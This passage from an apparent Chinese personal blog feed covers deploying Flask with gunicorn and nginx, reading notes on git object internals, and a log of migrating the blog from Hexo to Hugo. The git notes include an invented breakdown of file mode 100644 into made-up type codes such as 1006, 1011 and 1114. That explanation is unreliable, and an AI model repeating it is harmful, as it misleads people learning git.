</span></span><span class="line"><span class="cl">gunicorn -w <span class="m">4</span> -b 127.0.0.1:5000 <span class="s1">&#39;app:app&#39;</span> --access-logfile<span class="o">=</span>logs/access.log --error-logfile<span class="o">=</span>logs/error.log --daemon
</span></span><span class="line"><span class="cl"><span class="c1"># 查看进程</span>
</span></span><span class="line"><span class="cl">pgrep gunicorn
</span></span><span class="line"><span class="cl"><span class="c1"># 关闭进程</span>
</span></span><span class="line"><span class="cl">pkill gunicorn
</span></span></code></pre></div><h2 id="react">React</h2>
<ol>
<li>打包 <code>npm run build</code></li>
<li>nginx操作</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo vim /etc/nginx/sites-available/book_recommend
</span></span><span class="line"><span class="cl"><span class="c1">#粘贴以下配置</span>
</span></span><span class="line"><span class="cl">server <span class="o">{</span>
</span></span><span class="line"><span class="cl">    listen 80<span class="p">;</span>
</span></span><span class="line"><span class="cl">    server_name ip_address<span class="p">;</span>  <span class="c1"># 使用服务器的 IP 地址</span>
</span></span><span class="line"><span class="cl">    root /usr/local/project/bookrecommend/dist<span class="p">;</span>  <span class="c1"># 静态文件所在的目录</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    location / <span class="o">{</span>
</span></span><span class="line"><span class="cl">        try_files <span class="nv">$uri</span> /index.html<span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="o">}</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 创建一个符号链接以启用配置文件</span>
</span></span><span class="line"><span class="cl">sudo ln -s /etc/nginx/sites-available/book_recommend /etc/nginx/sites-enabled/
</span></span><span class="line"><span class="cl"><span class="c1"># 检查 Nginx 配置以确保没有语法错误：</span>
</span></span><span class="line"><span class="cl">sudo nginx -t
</span></span><span class="line"><span class="cl"><span class="c1"># 重启 Nginx 以使配置生效</span>
</span></span><span class="line"><span class="cl">sudo service nginx restart
</span></span></code></pre></div><h2 id="收获">收获</h2>
<h3 id="0000与-127001的区别"><code>0.0.0.0</code>与<code> 127.0.0.1</code>的区别</h3>
<ol>
<li>
<p><code>-b 0.0.0.0</code> 意味着绑定到所有可用的网络接口，可以通过任何 IP 地址访问。这使得应用程序对外可见，可以通过服务器的公共 IP 地址或域名进行访问。</p>
</li>
<li>
<p>而<code>-b 127.0.0.1</code> 意味着仅绑定到本地回环接口（localhost，IP 地址 127.0.0.1），这样只有本地访问能够连接到您的 Flask 应用程序。外部网络请求无法直接访问。</p>
</li>
</ol>
<h2 id="参考连接">参考连接</h2>
<ol>
<li><a href="https://dormousehole.readthedocs.io/en/latest/deploying/index.html"  target="_blank" rel="noopener" >生产部署 — Flask中文文档(2.3.x)</a></li>
<li><a href="https://dormousehole.readthedocs.io/en/latest/deploying/gunicorn.html"  target="_blank" rel="noopener" >Gunicorn — Flask中文文档(2.3.x)</a></li>
</ol>
]]></content:encoded>
    </item>
    
    <item>
      <title>进一步学习git</title>
      <link>https://ds63.eu.org/2023/dive-into-git/</link>
      <pubDate>Sat, 28 Oct 2023 15:34:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2023/dive-into-git/</guid>
      <description>the information manager from hell</description>
      <content:encoded><![CDATA[<p><strong>使用git已经有一段时间了，在感受到其便利的同时，我开始好奇它究竟是如何实现的。</strong></p>
<p><strong>这篇文章主要是对参考链接中的几篇文章的结合和整理，我自己原创的内容并不多，算是我的阅读笔记。</strong></p>
<h2 id="3-main-components">3 main components</h2>
<h3 id="blobbinary-large-object">blob(binary large object)</h3>
<ol>
<li>git用于存储文件内容的基本数据对象</li>
<li>只包含文件内容的原始二进制数据。</li>
<li>唯一标识符是由其内容计算得到的 SHA-1 散列值,计算方法如下：
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># find-git-object.py</span>
</span></span><span class="line"><span class="cl"><span class="c1"># https://jvns.ca/blog/2023/09/14/in-a-git-repository--where-do-your-files-live-/</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">hashlib</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">sys</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">object_path</span><span class="p">(</span><span class="n">content</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">header</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;blob </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">content</span><span class="p">)</span><span class="si">}</span><span class="se">\0</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">data</span> <span class="o">=</span> <span class="n">header</span><span class="o">.</span><span class="n">encode</span><span class="p">()</span> <span class="o">+</span> <span class="n">content</span>
</span></span><span class="line"><span class="cl">    <span class="n">digest</span> <span class="o">=</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">sha1</span><span class="p">(</span><span class="n">data</span><span class="p">)</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">digest</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="sa">f</span><span class="s2">&#34;.git/objects/</span><span class="si">{</span><span class="n">digest</span><span class="p">[:</span><span class="mi">2</span><span class="p">]</span><span class="si">}</span><span class="s2">/</span><span class="si">{</span><span class="n">digest</span><span class="p">[</span><span class="mi">2</span><span class="p">:]</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="s2">&#34;rb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">object_path</span><span class="p">(</span><span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">()))</span>
</span></span></code></pre></div></li>
<li>git使用上一步所得到的digest来确定文件所存储的位置。这种方法被称为“content addressed storage”。</li>
<li>由上可以发现：若文件内容完全相同，那么文件内容就将存储在同一个blob对象中。</li>
<li>确定位置后，我们使用<code>file</code>可以得到文件的类型<code>zlib compressed data</code>,并可使用以下python代码进行解码
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># https://jvns.ca/blog/2023/09/14/in-a-git-repository--where-do-your-files-live-/</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 可用来解码blob或commit文件</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 简易版的 git cat-file -p</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">zlib</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">sys</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="s2">&#34;rb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">content</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">zlib</span><span class="o">.</span><span class="n">decompress</span><span class="p">(</span><span class="n">content</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span></code></pre></div></li>
</ol>
<h3 id="commit">commit</h3>
<ol>
<li>表示一次代码提交或版本更新的操作</li>
<li>a commit file contains tree, parent commit(if any), author, committer.</li>
<li>Commit file will be hashed and store in the same way as blob.</li>
<li>可以通过<code>git log</code>获取commit对应的sha-1值,并使用<code>git cat-file -p &lt;commit_hash&gt;</code>观察对应的commit文件,例如：
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">&gt; git cat-file -p a2392bba4e795aa1041ce4464c2da00391b51913
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">tree 3b8155bcfb149e4cf627c2011eeef58b28e50348
</span></span><span class="line"><span class="cl">parent 3b43a50eb349f2f8126735ab1e133004bab0a933
</span></span><span class="line"><span class="cl">author EuDs63 &lt;erica23187@gmail.com&gt; <span class="m">1698421602</span> +0800
</span></span><span class="line"><span class="cl">committer EuDs63 &lt;erica23187@gmail.com&gt; <span class="m">1698421602</span> +0800
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">add test.txt
</span></span></code></pre></div></li>
<li>每个 commit 对应的parent commit可以是零个、一个，或多个</li>
</ol>
<h3 id="tree">tree</h3>
<ol>
<li>
<p>用于构建和维护项目的目录结构</p>
</li>
<li>
<p>Each folder match a tree file which stores the structure of files and folders of the folder.</p>
</li>
<li>
<p>Tree file will be hashed and store in the same way as blob.</p>
</li>
<li>
<p>同样可以通过<code>git log</code>获取对应的sha-1值,并使用<code>git cat-file -p &lt;tree_hash&gt;</code>观察对应的tree文件</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">&gt; git cat-file -p 3b8155bcfb149e4cf627c2011eeef58b28e50348
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="m">100644</span> blob 4b6e76588c44ca2a580f982c63f14200b4bffc3f    decompress.py
</span></span><span class="line"><span class="cl"><span class="m">100644</span> blob 211d3833fbe6ed59e66b38bbe643b5f7141ae53c    find-git-object.py
</span></span><span class="line"><span class="cl"><span class="m">100644</span> blob f100ad94f6be76f58fadaf9e720d9d00d486a088    test.txt
</span></span><span class="line"><span class="cl"><span class="m">100644</span> blob 131b0c74e5e1c21c7c9b830a57df7b8dadb5eda7    test1.txt
</span></span></code></pre></div></li>
<li>
<p>注意到<code>100644</code>这个数字，这表示该 Git 对象的类型和模式。
具体来说:</p>
<p>前4位1006表示对象类型:
1000 - 普通文件(blob 对象)
1006 - 可执行文件(blob 对象)
1007 - 符号链接(blob 对象)
1010 - 树(tree 对象)
1011 - 提交(commit 对象)
1114 - Gitlink(blob 对象)
后4位44表示文件模式,这在Unix系统中代表文件权限:
100644表示普通文件,权限是-rw-r&ndash;r&ndash;
100755表示可执行文件,权限是-rwxr-xr-x</p>
</li>
</ol>
<hr>
<h2 id="branch">branch</h2>
<ol>
<li>Branches are stored in <code>.git/refs/heads</code>.</li>
<li>Branches are files tracking commits, and the content of these files is updated at every commit we perform.</li>
<li>对remote branch的认识:
There are potentially three versions of every remote branch:
<ol>
<li>The actual branch on the remote repository</li>
<li>The snapshot of that branch locally</li>
<li>A local branch that might be tracking the remote branch</li>
</ol>
</li>
</ol>
<hr>
<h2 id="head">head</h2>
<ol>
<li>Head are stored in <code>.git/HEAD</code></li>
<li>通常情况下，HEAD文件中的内容为<code>ref: refs/heads/&lt;branch_name&gt;</code>,由此来间接指向该分支的最新commit。</li>
<li>When we are on a branch and perform the commit, Git reads the content of the HEAD file and writes the commit which is referenced as the parent commit.</li>
<li>We can checkout to a previous commit by <code>git checkout &lt;commit_hash&gt;</code>. Thus we will enter a mode called “detached mode” . In this mode, HEAD will point directly to a commit.</li>
</ol>
<hr>
<h2 id="what-happened-after-git-checkout">what happened after git checkout</h2>
<ol>
<li>
<p>解析命令行参数：首先，Git 解析命令行参数，以确定用户想要执行的 git checkout 操作的类型，包括切换分支、检出文件等。</p>
</li>
<li>
<p>获取目标分支/提交的 SHA-1 值：根据命令行参数中提供的分支名或提交标识符，Git 获取目标分支或提交的 SHA-1 值.</p>
</li>
<li>
<p>检查工作目录状态：Git 在切换分支或提交之前会检查当前工作目录状态，以确保没有未提交的更改。</p>
</li>
<li>
<p>切换到目标分支/提交：如果用户想要切换分支，Git 将会使用目标分支的 branch_name 更新 HEAD 引用，同时将目标分支的文件状态写入工作目录。如果用户要检出特定提交，Git 会根据提交的 SHA-1 值更新 HEAD 引用，并将提交的文件状态写入工作目录。</p>
</li>
<li>
<p>重建工作目录：在切换分支或提交后，Git 会确保工作目录的文件和内容与目标一致。它可能会涉及文件的创建、更新和删除操作。(根据commit文件中的tree去逐层展开)</p>
</li>
<li>
<p>更新索引和暂存区：Git 更新索引，以反映工作目录中文件的状态。这涉及将工作目录的文件与索引中的文件状态进行比较，并记录更改。（暂存区是介于Working Directory和 Repository 之间的区域，用于存放已经使用 git add 命令添加但尚未提交的文件和更改。）</p>
</li>
<li>
<p>更新 HEAD 指针：最后，Git 更新 HEAD 引用，将其指向所选的目标分支或提交，以反映当前的状态。</p>
</li>
</ol>
<h2 id="how-git-log-filename-works">how <code>git log &lt;filename&gt;</code> works</h2>
<ol>
<li>go through every single commit in the history</li>
<li>go through the various directory trees</li>
<li>search for the filename we wanted</li>
</ol>
<hr>
<h2 id="about-git-submodule">about git submodule</h2>
<h3 id="远程仓库的子模块链接错了指向了一个不同的仓库">远程仓库的子模块链接错了，指向了一个不同的仓库</h3>
<ol>
<li>检查并修复 .gitmodules 文件
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="o">[</span>submodule <span class="s2">&#34;path/to/submodule&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"> <span class="nv">path</span> <span class="o">=</span> path/to/submodule
</span></span><span class="line"><span class="cl"> <span class="nv">url</span> <span class="o">=</span> git@correct-url.git
</span></span></code></pre></div></li>
<li>检查 .git/config 中的子模块配置
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="o">[</span>submodule <span class="s2">&#34;path/to/submodule&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"> <span class="nv">url</span> <span class="o">=</span> git@correct-url.git
</span></span></code></pre></div></li>
<li>提交 .gitmodules 文件的更改</li>
<li>更新 Git 子模块配置： <code>git submodule sync</code></li>
<li>更新子模块的内容： <code>git submodule update --init --recursive</code></li>
<li>推送更改</li>
</ol>
<hr>
<h2 id="how-does-git-diff-works">how does git diff works</h2>
<p>to do!</p>
<h2 id="git-reset-hardsoftmixed">git reset hard|soft|mixed</h2>
<p>to do!</p>
<h2 id="git-rebase">git rebase</h2>
<p>to do!</p>
<h2 id="git-hook">git hook</h2>
<ul>
<li><a href="https://git-scm.com/book/zh/v2/%E8%87%AA%E5%AE%9A%E4%B9%89-Git-Git-%E9%92%A9%E5%AD%90"  target="_blank" rel="noopener" >Git - Git 钩子</a></li>
<li>如何在本地监听git tag事件</li>
</ul>
<h2 id="收获">收获</h2>
<ul>
<li>之前看过一句话，&ldquo;In Linux and UNIX, everything is a file&rdquo;。现在发现git中也是这样设计的。</li>
<li>了解平时使用的工具是怎么做到的，尤其是一些不了解之前觉得很神奇的操作背后的原理，我觉得这挺有趣。</li>
</ul>
<h2 id="碎碎念">碎碎念</h2>
<p>距离这篇文章的创建已经小半年了，那位作者已经写了近10篇git相关的博文。我学习的进度甚至比不上其写作的进度，不禁叹服。希望未来的我能好好看完。</p>
<h2 id="参考链接">参考链接</h2>
<ul>
<li><a href="https://jvns.ca/blog/2023/09/14/in-a-git-repository--where-do-your-files-live-/"  target="_blank" rel="noopener" >In a git repository, where do your files live?</a></li>
<li><a href="https://github.com/cpina/github-action-push-to-another-repository/blob/main/entrypoint.sh"  target="_blank" rel="noopener" >github-action-push-to-another-repository/entrypoint.sh at main · cpina/github-action-push-to-another-repository</a></li>
<li><a href="https://towardsdatascience.com/how-git-truly-works-cd9c375966f6"  target="_blank" rel="noopener" >How Git truly works. A deep dive on the internals to… | by Alberto Prospero | Towards Data Science</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>博客迁移记</title>
      <link>https://ds63.eu.org/2023/blog-migration-chronicle/</link>
      <pubDate>Sat, 21 Oct 2023 12:50:17 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2023/blog-migration-chronicle/</guid>
      <description>nice to use Hugo</description>
      <content:encoded><![CDATA[<h2 id="过程">过程</h2>
<ol>
<li>
<p><strong>尝试修改代码栏背景</strong></p>
<p>无果</p>
</li>
<li>
<p><strong>更换主题至<a href="https://reorx.github.io/hugo-PaperModX/"  target="_blank" rel="noopener" >PaperModX</a></strong></p>
</li>
<li>
<p><strong>设置文章中链接以新标签的方式打开</strong></p>
<p>参考：<a href="https://dvel.me/posts/hugo-goldmark-markdown-new-tab/"  target="_blank" rel="noopener" >在 Hugo Goldmark Markdown 中设置以新标签打开链接 - Dvel&rsquo;s Blog</a></p>
</li>
<li>
<p><strong>统一风格</strong></p>
</li>
<li>
<p><strong>使用<a href="https://www.jinrishici.com/"  target="_blank" rel="noopener" >今日诗词 - 一言API</a>作为slogan</strong></p>
<p>步骤如下：</p>
<ol>
<li>找到位置，发现位于<code>themes\PaperModX\layouts\partials\home_info.html</code></li>
<li>根据api文档添加调用代码</li>
</ol>
</li>
<li>
<p><strong>美化标签页</strong></p>
<p>参考<a href="https://www.sulvblog.cn/posts/blog/hugo_tag_cloud/"  target="_blank" rel="noopener" >Hugo博客添加标签云 | Sulv&rsquo;s Blog</a></p>
</li>
<li>
<p><strong>添加archive页</strong></p>
<p>步骤如下：</p>
<ol>
<li>新增archive.md文件</li>
<li>在<code>themes\PaperModX\assets\css\common\archive.css</code>替换并添加相应代码
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl">  <span class="p">.</span><span class="nc">archive-entry</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">     <span class="k">position</span><span class="p">:</span> <span class="kc">relative</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">     <span class="k">padding</span><span class="p">:</span> <span class="mi">5</span><span class="kt">px</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">     <span class="k">margin</span><span class="p">:</span> <span class="mi">10</span><span class="kt">px</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">     <span class="k">transition</span><span class="p">:</span> <span class="nf">var</span><span class="p">(</span><span class="o">--</span><span class="n">link</span><span class="o">-</span><span class="n">transition</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">     <span class="c">/* 添加过渡效果，使颜色和阴影变化平滑 */</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="p">.</span><span class="nc">archive-entry</span><span class="p">:</span><span class="nd">hover</span> <span class="p">.</span><span class="nc">archive-entry-title</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">     <span class="k">color</span><span class="p">:</span> <span class="nf">var</span><span class="p">(</span><span class="o">--</span><span class="n">link</span><span class="o">-</span><span class="n">hover</span><span class="o">-</span><span class="kc">color</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">     <span class="c">/* 鼠标悬停时的文字颜色 */</span>
</span></span><span class="line"><span class="cl">     <span class="k">box-shadow</span><span class="p">:</span> <span class="nf">var</span><span class="p">(</span><span class="o">--</span><span class="n">link</span><span class="o">-</span><span class="n">hover</span><span class="o">-</span><span class="kc">underline</span><span class="o">-</span><span class="n">shadow</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">     <span class="c">/* 鼠标悬停时的下划线阴影效果 */</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="p">.</span><span class="nc">archive-entry-title</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">     <span class="k">margin</span><span class="p">:</span> <span class="mi">5</span><span class="kt">px</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">     <span class="k">font-weight</span><span class="p">:</span> <span class="mi">400</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">     <span class="k">transition</span><span class="p">:</span> <span class="nf">var</span><span class="p">(</span><span class="o">--</span><span class="n">link</span><span class="o">-</span><span class="n">transition</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">     <span class="k">display</span><span class="p">:</span> <span class="kc">inline-block</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span></code></pre></div></li>
</ol>
</li>
<li>
<p><strong>添加搜索功能</strong></p>
<p>步骤如下</p>
<ol>
<li>新增search.md文件</li>
<li>在<code>hugo.yml</code>新增
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yml" data-lang="yml"><span class="line"><span class="cl"><span class="nt">outputs</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">home</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">   </span>- <span class="l">HTML</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">   </span>- <span class="l">RSS</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">   </span>- <span class="l">JSON</span><span class="w"> </span><span class="c"># is necessary</span><span class="w">
</span></span></span></code></pre></div></li>
</ol>
</li>
<li>
<p><strong>整合search,category,tags至discover,以使导航栏更为简洁</strong></p>
<p>步骤如下</p>
<ol>
<li>参考<a href="https://loyayz.com/website/220609-hugo-papermodx-tags-in-search-page/"  target="_blank" rel="noopener" >PaperMod 搜索页展示标签列表 | loyayz</a></li>
<li>修改对应标题、url</li>
<li>修改<code>themes\PaperModX\layouts\_default\search.html</code>中的代码</li>
</ol>
</li>
<li>
<p><strong>修改profile-mode中的副标题为一言诗句</strong></p>
<p>步骤如下:</p>
<ol>
<li>找到对应位置<code>themes\PaperModX\layouts\partials\index_profile.html</code></li>
<li>参考第五步</li>
</ol>
</li>
<li>
<p><strong>添加Records页面</strong></p>
<p>步骤如下</p>
<ol>
<li>参考<a href="https://eallion.com/neodb/#back-to-top"  target="_blank" rel="noopener" >NeoDB API 创建观影页面 - 大大的小蜗牛</a></li>
<li>添加<code>themes\PaperModX\layouts\_default\records.html</code>与<code>static\css\records.css</code></li>
<li>添加<code>content\records.md</code></li>
</ol>
</li>
<li>
<p><strong>添加rss_subscription页面</strong></p>
<p>步骤如下</p>
<ol>
<li>大体上与第11步相同</li>
<li>在<code>themes\PaperModX\layouts\_default\single.html</code>的基础上进行修改，得到<code>themes\PaperModX\layouts\_default\rss_subscription.html</code></li>
</ol>
</li>
<li>
<p><strong>部署</strong></p>
<p>步骤如下：</p>
<ol>
<li>主要参考<a href="https://gohugo.io/hosting-and-deployment/hosting-on-github/"  target="_blank" rel="noopener" >Host on GitHub Pages | Hugo</a></li>
<li>报错<code>Branch &quot;x&quot; is not allowed to deploy to github-pages due to environment protection rules.</code>。
参考<a href="https://github.com/orgs/community/discussions/39054"  target="_blank" rel="noopener" >Branch &ldquo;x&rdquo; is not allowed to deploy to github-pages due to environment protection rules. · community · Discussion #39054</a></li>
</ol>
</li>
<li>
<p><strong>添加social icons</strong></p>
<p>参考<a href="https://adityatelange.github.io/hugo-PaperMod/posts/papermod/papermod-icons/"  target="_blank" rel="noopener" >Icons | PaperMod</a></p>
</li>
<li>
<p><strong>数据自动更新</strong></p>
<p>代码位于<code>.github\workflows\sync.yml</code></p>
</li>
<li>
<p><strong>添加最后修改时间</strong></p>
<p>参考<a href="https://tourcoder.com/lastmod-in-hugo/"  target="_blank" rel="noopener" >Hugo 中最后更新的时间显示</a>，步骤如下：</p>
<ol>
<li>修改<code>hugo.yml</code>文件，添加以下内容
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yml" data-lang="yml"><span class="line"><span class="cl"><span class="c"># 最后修改时间的获取顺序： git &gt; lastmod(自设定) &gt; fileModTime &gt; default</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">frontmatter</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">lastmod</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span>- <span class="p">:</span><span class="l">git</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span>- <span class="l">lastmod</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span>- <span class="p">:</span><span class="l">fileModTime</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span>- <span class="p">:</span><span class="l">default</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">enableGitInfo</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span></span></span></code></pre></div></li>
<li>修改<code>themes\PaperModX\layouts\partials\post_meta.html</code>,添加</li>
</ol>
<pre tabindex="0"><code>{{- if not .Lastmod.IsZero -}}
&lt;span class=&#34;meta-item&#34;&gt;
&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; width=&#34;24&#34; height=&#34;24&#34; viewBox=&#34;0 0 24 24&#34; fill=&#34;none&#34; stroke=&#34;currentColor&#34;
   stroke-width=&#34;2&#34; stroke-linecap=&#34;round&#34; stroke-linejoin=&#34;round&#34; class=&#34;feather feather-pen&#34;
   style=&#34;user-select: text;&#34;&gt;
   &lt;path
      d=&#34;M7.127 22.562l-7.127 1.438 1.438-7.128 5.689 5.69zm1.414-1.414l11.228-11.225-5.69-5.692-11.227 11.227 5.689 5.69zm9.768-21.148l-2.816 2.817 5.691 5.691 2.816-2.819-5.691-5.689z&#34; /&gt;
&lt;/svg&gt;

&lt;span&gt;lastmod in {{ .Lastmod | time.Format (default &#34;January 2, 2006&#34; site.Params.DateFormat) }}&lt;/span&gt;&lt;/span&gt;
{{- end }}
</code></pre></li>
<li>
<p><strong>除archive外的列表均按最后修改时间进行排序</strong></p>
<p>参考<a href="https://gohugo.io/templates/lists/#order-content"  target="_blank" rel="noopener" >Lists of content in Hugo | Hugo</a>
修改<code>themes\PaperModX\layouts\_default\list.html</code>中相关内容为
<code>{{- $pages := .Pages.ByLastmod.Reverse.ByWeight }}</code> 。先根据最后修改时间进行逆向排序，再根据weight排序</p>
</li>
<li>
<p><strong>实际测试发现第十七步存在问题</strong></p>
<p>表现为并没有按照最后修改时间进行逆向排序。猜测可能是和<code>ByWeight</code>的定义有关。</p>
<p>我的解决方法是：</p>
<ol>
<li>新增一个param<code>rating</code></li>
<li><code>{{- $pages := .Pages.ByLastmod.Reverse.ByParam &quot;rating&quot; }}</code></li>
</ol>
</li>
<li>
<p>修改url。参考<a href="https://gohugo.io/content-management/urls/"  target="_blank" rel="noopener" >URL management | Hugo</a>, 我现在的配置如下</p>
<pre tabindex="0"><code>permalinks:
# posts: /:year/:title/
posts: /:year/:slug/
</code></pre></li>
</ol>
<h2 id="想法">想法</h2>
<ol>
<li>Hexo给我的感觉就是折腾少，约等于开箱即用。这里要感谢<a href="https://hexo.fluid-dev.com/"  target="_blank" rel="noopener" >Fluid</a>这款主题，做得很棒。</li>
<li>Hugo我则没有找到一款我比较中意的主题，前前后后换了三四个，最后选择在<a href="https://github.com/reorx/hugo-PaperModX/"  target="_blank" rel="noopener" >hugo-PaperModX</a>的基础上自己进行修改。(也可能只是因为我的需求提升了)</li>
<li>Hugo确实和其所宣传的一样，很快，部署的时间只要原来的一半，还有本地的实时预览。但是缓存还是有些讨人厌，就算我加上了<code>--disableFastRender</code>还是需要手动重启，无痕浏览等措施才能看到一些设置的变化。不过看issue说这也是一种设计。</li>
<li>再次体会到了教程还是要以官方教程为主。在部署至Github Page时，我首先是修改自己以前的代码，跑不通然后就去问ChatGPT，再然后是网上搜教程。最后反倒是在<a href="https://gohugo.io/hosting-and-deployment/hosting-on-github/"  target="_blank" rel="noopener" >Host on GitHub Pages | Hugo</a>的帮助下解决的。</li>
<li>还是官方教程的事。我比较喜欢从代码出发。直接去看代码。但后面遇到问题后发现有些坑其实没必要踩，教程里写得好好的呢。直接从代码出发看似省了时间，其实添了不少麻烦。</li>
</ol>
<h2 id="待修复问题">待修复问题</h2>
<ol>
<li><input checked="" disabled="" type="checkbox"> 部署后<a href="https://ds63.eu.org/rss_subscription/"  target="_blank" rel="noopener" >My Rss Subscription | EuDs&rsquo;s Blog</a>无法正常显示</li>
<li><input checked="" disabled="" type="checkbox"> 网站icon时有时无</li>
<li><input checked="" disabled="" type="checkbox"> action<code>Sync NeoDB Data</code>中，触发的<code>Deploy Hugo site to Pages</code>所使用的并非是最新的代码？</li>
</ol>
<h2 id="参考">参考</h2>
<ul>
<li><a href="https://liujiacai.net/blog/2020/12/05/hexo-to-hugo/#headline-3"  target="_blank" rel="noopener" >博客系统迁移：Hexo 到 Hugo</a></li>
<li><a href="https://cloud.tencent.com/developer/article/1702561"  target="_blank" rel="noopener" >将hexo文章头转为hugo格式-腾讯云开发者社区-腾讯云</a></li>
<li><a href="https://io-oi.me/tech/hugo-vs-hexo/"  target="_blank" rel="noopener" >Hugo 与 Hexo 的异同 | reuixiy</a></li>
<li><a href="https://www.sulvblog.cn/posts/blog/hugo_toc_side/"  target="_blank" rel="noopener" >Hugo博客目录放在侧边 | PaperMod主题 | Sulv&rsquo;s Blog</a></li>
<li><a href="https://hugo.aiaide.com/post/hugo%E7%9A%84%E5%B7%A5%E4%BD%9C%E5%8E%9F%E7%90%86/"  target="_blank" rel="noopener" >Hugo的工作原理 - Hugo 中文帮助文档</a></li>
